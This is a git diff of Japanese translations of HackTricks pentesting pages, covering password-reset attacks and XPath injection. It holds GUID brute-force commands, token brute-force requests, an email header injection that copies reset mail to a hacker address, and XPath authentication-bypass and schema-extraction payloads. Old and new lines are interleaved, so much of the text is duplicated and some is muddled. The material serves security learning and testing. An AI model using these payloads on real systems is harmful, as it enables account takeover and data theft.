* 生成システムの稼働時間中にGUID間で一定の「クロックシーケンス」がランダムに生成されます
|
||||
* 利用可能な場合、システムのMACアドレスに基づいて生成される「ノードID」
|
||||
* GUIDを生成するシステムの稼働時間中にGUID間で一定の「クロックシーケンス」がランダムに生成されます
|
||||
* システムのMACアドレスが利用可能な場合、MACアドレスに基づいて生成される「ノードID」
|
||||
* **バージョン3:** GUIDは、指定された名前と名前空間のMD5ハッシュを使用して生成されます。
|
||||
* **バージョン4:** GUIDはランダムに生成されます。
|
||||
* **バージョン5:** GUIDは、指定された名前と名前空間のSHA1ハッシュを使用して生成されます。
|
||||
|
||||
GUIDを見てそのバージョンを特定することが可能です。そのための小さなツールがあります:[**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
|
||||
GUIDを見てそのバージョンを特定することが可能であり、そのための小さなツールがあります:[**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
|
||||
```http
|
||||
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
||||
UUID version: 1
|
||||
|
@ -215,7 +244,7 @@ UUID node: 17547390002044
|
|||
UUID MAC address: 0f:f5:91:f2:a3:7c
|
||||
UUID clock sequence: 3426
|
||||
```
|
||||
もしリセットパスワードのGUIDを生成するために使用されるバージョンが1の場合、GUIDをブルートフォース攻撃できます。
|
||||
もしリセットパスワードのGUIDを生成するために使用されるバージョンが1の場合、GUIDをブルートフォース攻撃で解読することが可能です。
|
||||
```http
|
||||
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||||
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
||||
|
@ -232,57 +261,43 @@ a34af110-47d0-11ec-8d62-0ff591f2a37c
|
|||
HTTP/1.1 401 Unauthorized
|
||||
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
||||
```
|
||||
# パスワードのリセット
|
||||
# パスワードリセット
|
||||
|
||||
パスワードのリセット機能は、ユーザーがパスワードを忘れた場合に便利ですが、悪意のあるユーザーにとっては攻撃の標的になる可能性があります。このセクションでは、パスワードのリセット機能に関する攻撃技術について説明します。
|
||||
パスワードリセット機能は、ユーザーがパスワードを忘れた場合に便利ですが、悪意のあるユーザーにとっては攻撃の標的になる可能性があります。このセクションでは、パスワードリセット機能の脆弱性と、それを悪用する攻撃手法について説明します。
|
||||
|
||||
## パスワードリセットの脆弱性
|
||||
|
||||
パスワードリセット機能には、以下のような脆弱性が存在する場合があります。
|
||||
|
||||
### 1. ユーザー識別情報の不十分な確認
|
||||
### 1. 弱いトークン生成
|
||||
|
||||
パスワードリセット要求を処理する際に、ユーザーの識別情報(例:メールアドレス、ユーザー名)を適切に確認しない場合、攻撃者は他のユーザーのアカウントにアクセスすることができます。これは、攻撃者が他のユーザーの識別情報を推測することで実現される可能性があります。
|
||||
パスワードリセットリンクには、一意のトークンが含まれています。しかし、トークンが予測可能な場合、攻撃者はリンクを生成し、他のユーザーのアカウントにアクセスすることができます。
|
||||
|
||||
### 2. 弱いパスワードリセットトークン
|
||||
### 2. リンクの期限切れの検証不備
|
||||
|
||||
パスワードリセットトークンは、ユーザーがパスワードをリセットするために使用する一時的なトークンです。しかし、弱いトークン生成アルゴリズムや予測可能なトークンの使用により、攻撃者はトークンを推測して他のユーザーのアカウントにアクセスすることができます。
|
||||
パスワードリセットリンクには、有効期限が設定されています。しかし、リンクの期限切れの検証が不十分な場合、攻撃者は期限切れのリンクを使用してアカウントにアクセスすることができます。
|
||||
|
||||
### 3. セキュアでないパスワードリセット手順
|
||||
### 3. ユーザー識別情報の不正利用
|
||||
|
||||
パスワードリセット手順がセキュアでない場合、攻撃者はリセット手順を悪用して他のユーザーのアカウントにアクセスすることができます。例えば、攻撃者がリセットリンクを傍受したり、リセット手順を途中で中断したりすることができます。
|
||||
パスワードリセット機能では、ユーザーの識別情報(メールアドレスなど)が必要です。しかし、攻撃者が他のユーザーの識別情報を入手した場合、それを利用してパスワードリセットを行うことができます。
|
||||
|
||||
## パスワードリセット攻撃の手法
|
||||
|
||||
以下に、パスワードリセット機能に対する攻撃手法の一部を示します。
|
||||
パスワードリセット機能を悪用する攻撃手法には、以下のようなものがあります。
|
||||
|
||||
### 1. ユーザー識別情報の推測
|
||||
### 1. トークン予測攻撃
|
||||
|
||||
攻撃者は、他のユーザーの識別情報を推測することで、パスワードリセット要求を行うことができます。例えば、一般的なユーザー名やメールアドレスの組み合わせを試すことで、他のユーザーのアカウントにアクセスすることができます。
|
||||
攻撃者は、トークンの生成方法を予測し、有効なトークンを生成することで、他のユーザーのアカウントにアクセスします。
|
||||
|
||||
### 2. パスワードリセットトークンの推測
|
||||
### 2. リンクの期限切れ回避
|
||||
|
||||
攻撃者は、弱いトークン生成アルゴリズムや予測可能なトークンの使用により、パスワードリセットトークンを推測することができます。これにより、他のユーザーのアカウントにアクセスすることができます。
|
||||
攻撃者は、リンクの期限切れの検証を回避する方法を見つけることで、期限切れのリンクを使用してアカウントにアクセスします。
|
||||
|
||||
### 3. パスワードリセット手順の傍受
|
||||
### 3. ソーシャルエンジニアリング
|
||||
|
||||
攻撃者は、パスワードリセット手順を傍受することで、他のユーザーのアカウントにアクセスすることができます。これは、攻撃者がリセットリンクを傍受したり、リセット手順を途中で中断したりすることによって実現されます。
|
||||
攻撃者は、ユーザーの識別情報を入手するために、ソーシャルエンジニアリングの手法を使用します。例えば、フィッシング攻撃や情報漏洩などがあります。
|
||||
|
||||
## パスワードリセットのセキュリティ強化
|
||||
|
||||
パスワードリセット機能のセキュリティを強化するためには、以下の対策を実施することが重要です。
|
||||
|
||||
### 1. ユーザー識別情報の適切な確認
|
||||
|
||||
パスワードリセット要求を処理する際に、ユーザーの識別情報を適切に確認することが重要です。例えば、セキュリティの高いメール認証や二要素認証を使用することで、攻撃者が他のユーザーのアカウントにアクセスすることを防ぐことができます。
|
||||
|
||||
### 2. 強力なパスワードリセットトークンの使用
|
||||
|
||||
強力なトークン生成アルゴリズムを使用し、予測可能なトークンの使用を避けることが重要です。これにより、攻撃者がトークンを推測して他のユーザーのアカウントにアクセスすることを防ぐことができます。
|
||||
|
||||
### 3. セキュアなパスワードリセット手順の実施
|
||||
|
||||
セキュアなパスワードリセット手順を実施することが重要です。例えば、リセットリンクの有効期限を設定したり、リセット手順の進行状況を適切に管理することで、攻撃者がリセット手順を傍受したり中断したりすることを防ぐことができます。
|
||||
パスワードリセット機能の脆弱性を理解し、攻撃手法に対する対策を講じることは、セキュリティを強化するために重要です。
|
||||
```php
|
||||
HTTP/1.1 200 OK
|
||||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||||
|
@ -291,7 +306,7 @@ HTTP/1.1 200 OK
|
|||
|
||||
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
||||
|
||||
### 期限切れのトークンの使用 <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
### 期限切れトークンの使用 <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
|
||||
* 期限切れのトークンが再利用できるかどうかを確認します
|
||||
|
||||
|
@ -309,9 +324,9 @@ email=victim@email.com&code=$BRUTE$
|
|||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
### トークンを使用して試してみる <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
||||
### トークンを使用して試す <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
||||
|
||||
* パスワードリセットトークンを被害者のアカウントに追加してみてください。
|
||||
* パスワードリセットトークンを被害者のアカウントに追加して試してみてください。
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
@ -324,7 +339,7 @@ email=victim@email.com&code=$YOUR_TOKEN$
|
|||
## ログアウト/パスワードリセットにおけるセッションの無効化
|
||||
|
||||
ユーザーがログアウトまたはパスワードをリセットする場合、現在のセッションは無効にする必要があります。\
|
||||
したがって、ユーザーがログインしている間に**クッキーを取得**し、**ログアウト**して、**クッキー**がまだ**有効**かどうかを**確認**します。\
|
||||
したがって、ユーザーがログインしている間に**クッキーを取得**し、**ログアウト**し、**クッキー**がまだ**有効**かどうかを**確認**します。\
|
||||
ログアウトの代わりに**パスワードを変更**することで、プロセスを繰り返します。
|
||||
|
||||
## リセットトークンの有効期限
|
||||
|
@ -335,27 +350,34 @@ email=victim@email.com&code=$YOUR_TOKEN$
|
|||
|
||||
* username@burp\_collab.net を使用してコールバックを分析する
|
||||
* User carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* 長いパスワード (>200) は DoS を引き起こす
|
||||
* 長いパスワード (>200) はDoSにつながる
|
||||
* 2番目のメールパラメータと値を追加する
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProof をフォロー**](https://bit.ly/3xrrDrL) **ウェブ3のバグについてもっと学ぶために**
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
🐞 ウェブ3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか**? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見しましょう、私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクション
|
||||
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PR を** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するためにPRを提出**して、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)に参加しましょう。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,29 +4,36 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## **基本構文**
|
||||
|
||||
XPathインジェクションは、ユーザーが提供した入力からXPath(XMLパス言語)クエリを構築し、XMLドキュメントをクエリまたはナビゲートするアプリケーションを悪用するための攻撃技術です。
|
||||
XPathインジェクションは、ユーザーが提供した入力からXPath(XMLパス言語)クエリを構築してXMLドキュメントをクエリまたはナビゲートするアプリケーションを悪用する攻撃技術です。
|
||||
|
||||
クエリの作り方に関する情報:[https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
クエリの作成方法に関する情報:[https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
|
||||
### ノード
|
||||
|
||||
|
@ -41,103 +48,61 @@ XPathインジェクションは、ユーザーが提供した入力からXPath
|
|||
|
||||
### **例:**
|
||||
|
||||
| パス式 | 結果 |
|
||||
| --------------- | ---------------------------------------------------------------------------------------------------- |
|
||||
| bookstore | 名前が「bookstore」のすべてのノードを選択します。 |
|
||||
| /bookstore | bookstore要素を選択します。**注:** パスがスラッシュ(/)で始まる場合、常に要素への絶対パスを表します。 |
|
||||
| bookstore/book | bookstoreの子であるすべてのbook要素を選択します。 |
|
||||
| //book | ドキュメント内のどこにあっても、すべてのbook要素を選択します。 |
|
||||
| bookstore//book | bookstore要素の子孫であるすべてのbook要素を選択します。どこにあっても選択します。 |
|
||||
| //@lang | langという名前の属性を選択します。 |
|
||||
| パスの式 | 結果 |
|
||||
| --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| bookstore | 名前が「bookstore」のすべてのノードを選択します。 |
|
||||
| /bookstore | bookstore要素のルート要素を選択します**注:**パスがスラッシュ(/)で始まる場合、常に要素への絶対パスを表します。 |
|
||||
| bookstore/book | bookstoreの子であるすべてのbook要素を選択します。 |
|
||||
| //book | ドキュメント内のどこにあっても、すべてのbook要素を選択します。 |
|
||||
| bookstore//book | bookstore要素の子孫であるすべてのbook要素を選択します。どこにあっても、bookstore要素の下にあるかどうかは関係ありません。 |
|
||||
| //@lang | langという名前のすべての属性を選択します。 |
|
||||
|
||||
### 述語
|
||||
|
||||
| パス式 | 結果 |
|
||||
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| /bookstore/book\[1] | <p>bookstore要素の子である最初のbook要素を選択します。<strong>注:</strong> IE 5,6,7,8,9では最初のノードは[0]ですが、W3Cによると[1]です。この問題をIEで解決するには、SelectionLanguageをXPathに設定します。</p><p>JavaScriptでの設定方法: xml.setProperty("SelectionLanguage","XPath");</p> |
|
||||
| /bookstore/book\[last()] | bookstore要素の子である最後のbook要素を選択します。 |
|
||||
| /bookstore/book\[last()-1] | bookstore要素の子である最後から2番目のbook要素を選択します。 |
|
||||
| /bookstore/book\[position()<3] | bookstore要素の子である最初の2つのbook要素を選択します。 |
|
||||
| //title\[@lang] | langという名前の属性を持つすべてのtitle要素を選択します。 |
|
||||
| //title\[@lang='en'] | "lang"属性の値が"en"であるすべてのtitle要素を選択します。 |
|
||||
| /bookstore/book\[price>35.00] | bookstore要素のbook要素で、価格要素の値が35.00より大きいものを選択します。 |
|
||||
| /bookstore/book\[price>35.00]/title | bookstore要素のbook要素で、価格要素の値が35.00より大きいもののtitle要素を選択します。 |
|
||||
| パスの式 | 結果 |
|
||||
| --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| /bookstore/book\[1] | <p>bookstore要素の子である最初のbook要素を選択します。<strong>注:</strong> IE 5,6,7,8,9では最初のノードは[0]ですが、W3Cによると[1]です。この問題をIEで解決するには、SelectionLanguageをXPathに設定します。</p><p>JavaScriptでの設定方法:xml.setProperty("SelectionLanguage","XPath");</p> |
|
||||
| /bookstore/book\[last()] | bookstore要素の子である最後のbook要素を選択します。 |
|
||||
| /bookstore/book\[last()-1] | bookstore要素の子である最後から2番目のbook要素を選択します。 |
|
||||
| /bookstore/book\[position()<3] | bookstore要素の子である最初の2つのbook要素を選択します。 |
|
||||
| //title\[@lang] | langという名前の属性を持つすべてのtitle要素を選択します。 |
|
||||
| //title\[@lang='en'] | 値が「en」の「lang」属性を持つすべてのtitle要素を選択します。 |
|
||||
| /bookstore/book\[price>35.00] | bookstore要素のbook要素で、価格要素の値が35.00より大きいすべてのbook要素を選択します。 |
|
||||
| /bookstore/book\[price>35.00]/title | bookstore要素のbook要素で、価格要素の値が35.00より大きいすべてのtitle要素を選択します。 |
|
||||
|
||||
### 不明なノード
|
||||
|
||||
| ワイルドカード | 説明 |
|
||||
| -------- | ---------------------------- |
|
||||
| \* | 任意の要素ノードに一致します |
|
||||
| @\* | 任意の属性ノードに一致します |
|
||||
| node() | 任意の種類のノードに一致します |
|
||||
|
||||
| ワイルドカード | 説明 |
|
||||
| ------------ | --------------------- |
|
||||
| \* | 任意の要素ノードに一致 |
|
||||
| @\* | 任意の属性ノードに一致 |
|
||||
| node() | 任意の種類のノードに一致 |
|
||||
### **例:**
|
||||
|
||||
| パス式 | 結果 |
|
||||
| パス式 | 結果 |
|
||||
| --------------- | ------------------------------------------------------------------------ |
|
||||
| /bookstore/\* | bookstore要素の子要素ノードをすべて選択します |
|
||||
| //\* | ドキュメント内のすべての要素を選択します |
|
||||
| //title\[@\*] | どんな種類の属性でも持つすべてのtitle要素を選択します |
|
||||
| /bookstore/\* | bookstore要素のすべての子要素ノードを選択します |
|
||||
| //\* | ドキュメント内のすべての要素を選択します |
|
||||
| //title\[@\*] | 任意の種類の属性を持つすべてのtitle要素を選択します |
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報酬の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハックから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
## 例
|
||||
|
||||
### Payloads
|
||||
|
||||
### ペイロード
|
||||
|
||||
```plaintext
|
||||
' or '1'='1
|
||||
' or '1'='1' or 'a'='a
|
||||
' or 1=1 or 'a'='a
|
||||
' or 1=1
|
||||
' or 'a'='a
|
||||
```
|
||||
|
||||
### Exploiting
|
||||
|
||||
### 悪用
|
||||
|
||||
```plaintext
|
||||
' or '1'='1
|
||||
' or '1'='1' or 'a'='a
|
||||
' or 1=1 or 'a'='a
|
||||
' or 1=1
|
||||
' or 'a'='a
|
||||
```
|
||||
|
||||
### Fixing
|
||||
|
||||
### 修正
|
||||
|
||||
To prevent XPath injection, you should:
|
||||
|
||||
XPathインジェクションを防ぐためには、以下の対策を取る必要があります。
|
||||
|
||||
- Validate and sanitize user input before using it in XPath queries.
|
||||
- XPathクエリで使用する前に、ユーザーの入力を検証およびサニタイズします。
|
||||
- Use parameterized XPath queries instead of concatenating user input directly into the query.
|
||||
- クエリにユーザーの入力を直接連結する代わりに、パラメータ化されたXPathクエリを使用します。
|
||||
- Limit the privileges of the user account used for executing XPath queries.
|
||||
- XPathクエリを実行するために使用されるユーザーアカウントの特権を制限します。
|
||||
- Implement proper error handling to avoid leaking sensitive information.
|
||||
- 機密情報の漏洩を防ぐために、適切なエラーハンドリングを実装します。
|
||||
|
||||
### References
|
||||
|
||||
### 参考文献
|
||||
|
||||
- [OWASP XPath Injection](https://owasp.org/www-community/attacks/XPATH_Injection)
|
||||
- [XPath Injection - PortSwigger](https://portswigger.net/web-security/xpath-injection)
|
||||
- [XPath Injection - W3Schools](https://www.w3schools.com/xml/xpath_injection.asp)
|
||||
```markup
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<data>
|
||||
|
@ -160,27 +125,17 @@ XPathインジェクションを防ぐためには、以下の対策を取る必
|
|||
```
|
||||
### 情報へのアクセス
|
||||
|
||||
XPath Injection(XPathインジェクション)は、Webアプリケーションの脆弱性の一つであり、攻撃者がアプリケーションのバックエンドデータベースから情報を抽出することができます。
|
||||
XPath Injection(XPathインジェクション)は、Webアプリケーションのセキュリティ上の脆弱性を悪用して、機密情報にアクセスするための攻撃手法です。XPathは、XML文書内の要素を指定するための言語であり、Webアプリケーションでデータベースクエリを実行するために使用されることがあります。
|
||||
|
||||
XPath(XML Path Language)は、XML文書内の要素を指定するための言語です。XPath Injection攻撃では、攻撃者はアプリケーションの入力フィールドに悪意のあるXPathクエリを挿入し、データベースから情報を取得します。
|
||||
XPathインジェクション攻撃では、アプリケーションがユーザーの入力を適切に検証またはエスケープしない場合に、悪意のあるXPathクエリを注入することができます。これにより、攻撃者はデータベース内の機密情報を取得したり、アプリケーションの動作を変更したりすることができます。
|
||||
|
||||
以下は、XPath Injection攻撃の一般的な例です。
|
||||
XPathインジェクション攻撃を実行するためには、まずアプリケーションがXPathクエリを実行している箇所を特定する必要があります。これは、Webアプリケーションのフォーム、URLパラメータ、またはクッキーなどの場所に存在する可能性があります。
|
||||
|
||||
```xml
|
||||
' or '1'='1
|
||||
```
|
||||
攻撃者は、注入ポイントを見つけた後、悪意のあるXPathクエリを作成し、アプリケーションに送信します。このクエリによって、攻撃者はデータベース内の情報を特定するための条件を指定することができます。
|
||||
|
||||
この攻撃では、攻撃者は入力フィールドに `' or '1'='1` という文字列を挿入します。これにより、アプリケーションは常に真の条件を評価し、データベース内のすべての情報を返します。
|
||||
XPathインジェクション攻撃の結果として、攻撃者は機密情報を取得することができます。これには、ユーザーの個人情報、認証情報、クレジットカード情報などが含まれる可能性があります。
|
||||
|
||||
XPath Injection攻撃を実行するためには、以下の手順を実行する必要があります。
|
||||
|
||||
1. アプリケーションの入力フィールドを特定します。
|
||||
2. 入力フィールドに悪意のあるXPathクエリを挿入します。
|
||||
3. クエリの結果を取得し、情報を抽出します。
|
||||
|
||||
XPath Injection攻撃は、アプリケーションが適切な入力検証やエスケープ処理を行っていない場合に成功する可能性があります。攻撃者は、アプリケーションの脆弱性を悪用して機密情報を入手することができます。
|
||||
|
||||
アプリケーションの開発者やセキュリティチームは、XPath Injection攻撃に対する防御策を実装する必要があります。入力検証やエスケープ処理の実施、セキュリティテストの実施、最新のセキュリティパッチの適用などが重要です。
|
||||
XPathインジェクション攻撃を防ぐためには、入力検証とエスケープの適切な実装が必要です。アプリケーションは、ユーザーの入力を信頼せず、適切なフィルタリングとサニタイズを行う必要があります。また、セキュリティパッチやアップデートを定期的に適用することも重要です。
|
||||
```
|
||||
All names - [pepe, mark, fino]
|
||||
name
|
||||
|
@ -209,21 +164,15 @@ substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark
|
|||
```
|
||||
### スキーマの特定と盗み出し
|
||||
|
||||
XPathインジェクションを使用して、Webアプリケーションのデータベーススキーマを特定し、盗み出すことができます。
|
||||
XPathインジェクションは、Webアプリケーションの脆弱性を悪用して、データベースのスキーマを特定し、その情報を盗み出す攻撃手法です。
|
||||
|
||||
#### スキーマの特定
|
||||
攻撃者は、Webアプリケーションの入力フィールドに対して改変されたXPathクエリを注入します。この注入されたクエリは、アプリケーションのバックエンドデータベースに対して実行されます。
|
||||
|
||||
1. インジェクションポイントを見つけるために、アプリケーションの入力フィールドに任意の文字列を入力します。
|
||||
2. インジェクションポイントでXPathクエリを構築します。例えば、`' or 1=1 or ''='`を使用してみます。
|
||||
3. クエリが成功した場合、アプリケーションの応答には通常とは異なるエラーメッセージが表示されることがあります。このエラーメッセージには、データベースのスキーマ情報が含まれている可能性があります。
|
||||
攻撃者は、XPathの結果を分析し、データベースのスキーマ情報を特定します。スキーマ情報には、テーブル名、カラム名、データ型などが含まれます。
|
||||
|
||||
#### スキーマの盗み出し
|
||||
スキーマ情報を特定した後、攻撃者はこれらの情報を利用して、データベースからデータを盗み出すことができます。例えば、攻撃者は特定のテーブルから機密情報を抽出するための適切なクエリを作成することができます。
|
||||
|
||||
1. スキーマ情報を特定したら、XPathクエリを使用してデータベースからスキーマ情報を抽出します。
|
||||
2. 例えば、`' or 1=1 or ''=(//table)[1]/@*[name()='name']`を使用して、最初のテーブルの名前属性を取得します。
|
||||
3. クエリを実行し、アプリケーションの応答にはスキーマ情報が含まれるはずです。
|
||||
|
||||
